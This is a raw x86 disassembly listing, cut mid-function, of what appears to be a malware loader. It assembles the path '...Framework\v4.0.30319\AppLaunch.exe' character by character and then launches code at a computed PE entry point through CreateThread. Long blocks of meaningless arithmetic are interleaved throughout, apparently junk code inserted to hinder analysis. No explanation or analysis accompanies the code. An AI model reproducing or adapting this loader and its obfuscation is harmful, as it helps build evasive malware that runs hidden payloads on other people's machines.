mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x409530
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401240
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
dec edi
and eax, 0x35
not ebx
dec eax
imul eax
dec esi
inc esi
rcr ebx, 0x89
sbb edx, 0x77
and eax, 0xc4
ror ebx, 0xd4
dec edi
rcr edx, 0xbb
and edx, 0x5b
add esi, 0x7e
or eax, 0x75
rol edi, 0x32
rcl eax, 0xd9
rcl edx, 0xa6
bswap edx
not eax
or ebx, 0xa3
rcl edx, 0x25
or eax, 0x9f
imul edx
neg eax
imul edx
and ebx, 0x4a
imul edx
add ebx, 0x39
dec eax
sub ebx, 0xb3
sbb ebx, 0x6e
inc edi
imul edi
or eax, 0x58
dec eax
bswap ebx
or ebx, 0x9b
not edx
add edx, 0xf6
neg esi
rcr esi, 0x28
neg ebx
rcr esi, 0x12
bswap ebx
inc edx
not edi
or eax, 0xdc
inc esi
sub eax, 0xcf
rcl eax, 0x48
dec esi
and esi, 0x2b
bswap edx
neg eax
add esi, 0xed
neg edx
mov eax, 0x9e
dec eax
add edi, 0xf6
dec edi
not ebx
sub eax, 0xcc
rcl eax, 0x49
or edx, 0xc0
imul edi
dec edx
imul esi
neg edx
rol eax, 0x24
add ebx, 0x45
neg ebx
dec esi
imul edi
inc eax
mov esi, 0x12
rcr esi, 0x7b
bswap ebx
ror esi, 0xa1
dec esi
sbb esi, 0x33
dec edi
imul edx
mov ebx, 0x40
dec eax
rcr eax, 0x51
add edi, 0x5a
mov edi, 0x56
or eax, 0x9b
imul eax
neg edx
and esi, 0xcb
dec ebx
imul eax
rcr edx, 0x58
inc ebx
neg edi
bswap esi
or edi, 0xac
and ebx, 0x7e
dec eax
ror edx, 0x2a
not eax
rcr edx, 0xab
rcl edx, 0x1e
rol edx, 0x68
not esi
neg eax
not edx
rcl edi, 0x2c
sub edi, 0xdb
rcl eax, 0x90
mov edi, 0xfb
inc eax
mov ebx, 0xcf
sub esi, 0x42
neg eax
rol edi, 0xe9
not ebx
dec edx
inc edx
mov eax, 0x5d
rol edi, 0x8a
dec eax
not edi
dec edx
rcl ebx, 0x1f
bswap eax
ror eax, 0xc2
bswap esi
dec eax
sbb edx, 0xe9
not eax
inc edi
not eax
sub ebx, 0x2d
or edx, 0xaa
not ebx
sub esi, 0x39
neg edx
sbb edx, 0x53
not ebx
and esi, 0x88
imul ebx
neg ebx
inc eax
dec edx
and ebx, 0xe4
mov edi, 0x10
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x40971c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401240
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add ebx, 0x64
or edx, 0x49
not esi
not edi
not eax
neg edx
neg eax
rcr eax, 0xe2
bswap eax
dec esi
add ebx, 0x6f
neg ebx
imul edx
mov edi, 0xc
imul edi
inc ebx
rol edi, 0x6b
mov esi, 0xdd
dec edx
rol edx, 0x14
rcl eax, 0xb9
sbb eax, 0xb6
rcl edx, 0x39
ror esi, 0x57
or edx, 0
rcl eax, 0xa9
bswap esi
or edi, 0xde
neg edx
neg edx
rol edx, 0x6d
rcl edi, 0x26
or ebx, 0x71
rol ebx, 0x1b
inc edx
ror edx, 0x34
or edx, 0x3a
not ebx
not ebx
or ebx, 0x75
neg edx
imul edi
not ebx
bswap edi
rcr ebx, 0x7c
sbb esi, 0x53
rcr edx, 0xe8
bswap ebx
add esi, 0x8d
bswap esi
sub edi, 0x9f
ror edi, 0x6c
rol edi, 0x12
bswap edx
rcl edi, 0x95
dec eax
rcl ebx, 0x97
not eax
imul eax
mov esi, 0x80
and eax, 0xe8
rcr eax, 0x43
not ebx
add eax, 0xc5
bswap esi
add esi, 0x76
imul edx
sbb edi, 0xdd
neg edx
not edx
and ebx, 0xae
not ebx
dec edi
not edi
rol ebx, 0xe
neg edi
or esi, 0xc7
dec edx
rcl eax, 0xf
bswap edx
dec edi
inc esi
imul eax
sbb esi, 0x57
inc edx
rcr eax, 0xeb
rcr edi, 0xd7
neg ebx
sub edi, 0xae
dec eax
rol eax, 0xc1
dec ebx
dec edx
rcr edi, 0x2d
bswap ebx
or eax, 0xb1
rcr eax, 7
imul edx
imul eax
neg esi
imul eax
rcl edx, 0xb0
sbb ebx, 0x38
sbb esi, 0xb4
rol esi, 0x85
not esi
sbb ebx, 0xa4
mov ebx, 0xd8
inc edi
rcr edi, 0x97
or edi, 0xa3
mov eax, 0xd0
bswap esi
imul edi
ror edx, 0x2d
neg edi
dec eax
bswap edi
rcr edx, 0x96
ror edx, 0x30
rol ebx, 0x63
inc ebx
imul edx
rcl eax, 0xef
and edi, 0xa3
sub edi, 1
inc ebx
bswap ebx
inc edi
bswap edx
and eax, 0x74
dec edx
add edx, 0xf
not eax
inc edi
sbb edx, 0xd6
inc ebx
bswap edi
inc edx
or edx, 0x50
dec ebx
rcr edi, 0xb0
neg ebx
not eax
sbb edx, 0x60
bswap ebx
bswap edx
sub edi, 0xcb
ror eax, 0x68
dec edi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret